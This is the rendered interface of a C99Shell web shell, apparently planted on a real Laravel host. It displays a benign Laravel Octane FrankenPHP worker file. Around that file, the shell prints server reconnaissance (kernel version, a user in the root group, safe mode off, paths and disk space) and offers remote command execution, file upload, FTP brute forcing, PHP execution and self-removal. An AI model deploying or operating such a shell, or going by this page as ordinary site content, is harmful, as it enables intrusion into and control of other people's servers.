!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/octane/bin/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     frankenphp-worker.php (2.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Laravel\Octane\ApplicationFactory;
use 
Laravel\Octane\FrankenPhp\FrankenPhpClient;
use 
Laravel\Octane\RequestContext;
use 
Laravel\Octane\Stream;
use 
Laravel\Octane\Worker;
use 
Symfony\Component\HttpFoundation\Response;

if ((! (
$_SERVER['FRANKENPHP_WORKER'] ?? false)) || ! function_exists('frankenphp_handle_request')) {
    echo 
'FrankenPHP must be in worker mode to use this script.';

    exit(
1);
}

ignore_user_abort(true);

$basePath = require __DIR__.'/bootstrap.php';

/*
|--------------------------------------------------------------------------
| Start The Octane Worker
|--------------------------------------------------------------------------
|
| Next we will start the Octane worker, which is a long running process to
| handle incoming requests to the application. This worker will be used
| by FrankenPHP to serve an entire Laravel application at high speed.
|
*/

$frankenPhpClient = new FrankenPhpClient();

$worker null;
$requestCount 0;
$maxRequests $_ENV['MAX_REQUESTS'] ?? $_SERVER['MAX_REQUESTS'] ?? 1000;
$requestMaxExecutionTime $_ENV['REQUEST_MAX_EXECUTION_TIME'] ?? $_SERVER['REQUEST_MAX_EXECUTION_TIME'] ?? null;

if (
PHP_OS_FAMILY === 'Linux' && ! is_null($requestMaxExecutionTime)) {
    
set_time_limit((int) $requestMaxExecutionTime);
}

try {
    
$handleRequest = static function () use (&$worker$basePath$frankenPhpClient) {
        try {
            
$worker ??= tap(
                new 
Worker(
                    new 
ApplicationFactory($basePath), $frankenPhpClient
                
)
            )->
boot();

            [
$request$context] = $frankenPhpClient->marshalRequest(new RequestContext());

            
$worker->handle($request$context);
        } catch (
Throwable $e) {
            if (
$worker) {
                
report($e);
            }

            
$response = new Response(
                
'Internal Server Error',
                
500,
                [
                    
'Status' => '500 Internal Server Error',
                    
'Content-Type' => 'text/plain',
                ],
            );

            
$response->send();

            
Stream::shutdown($e);
        }
    };

    while (
$requestCount $maxRequests && frankenphp_handle_request($handleRequest)) {
        
$requestCount++;
    }
} finally {
    
$worker?->terminate();

    
gc_collect_cycles();
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--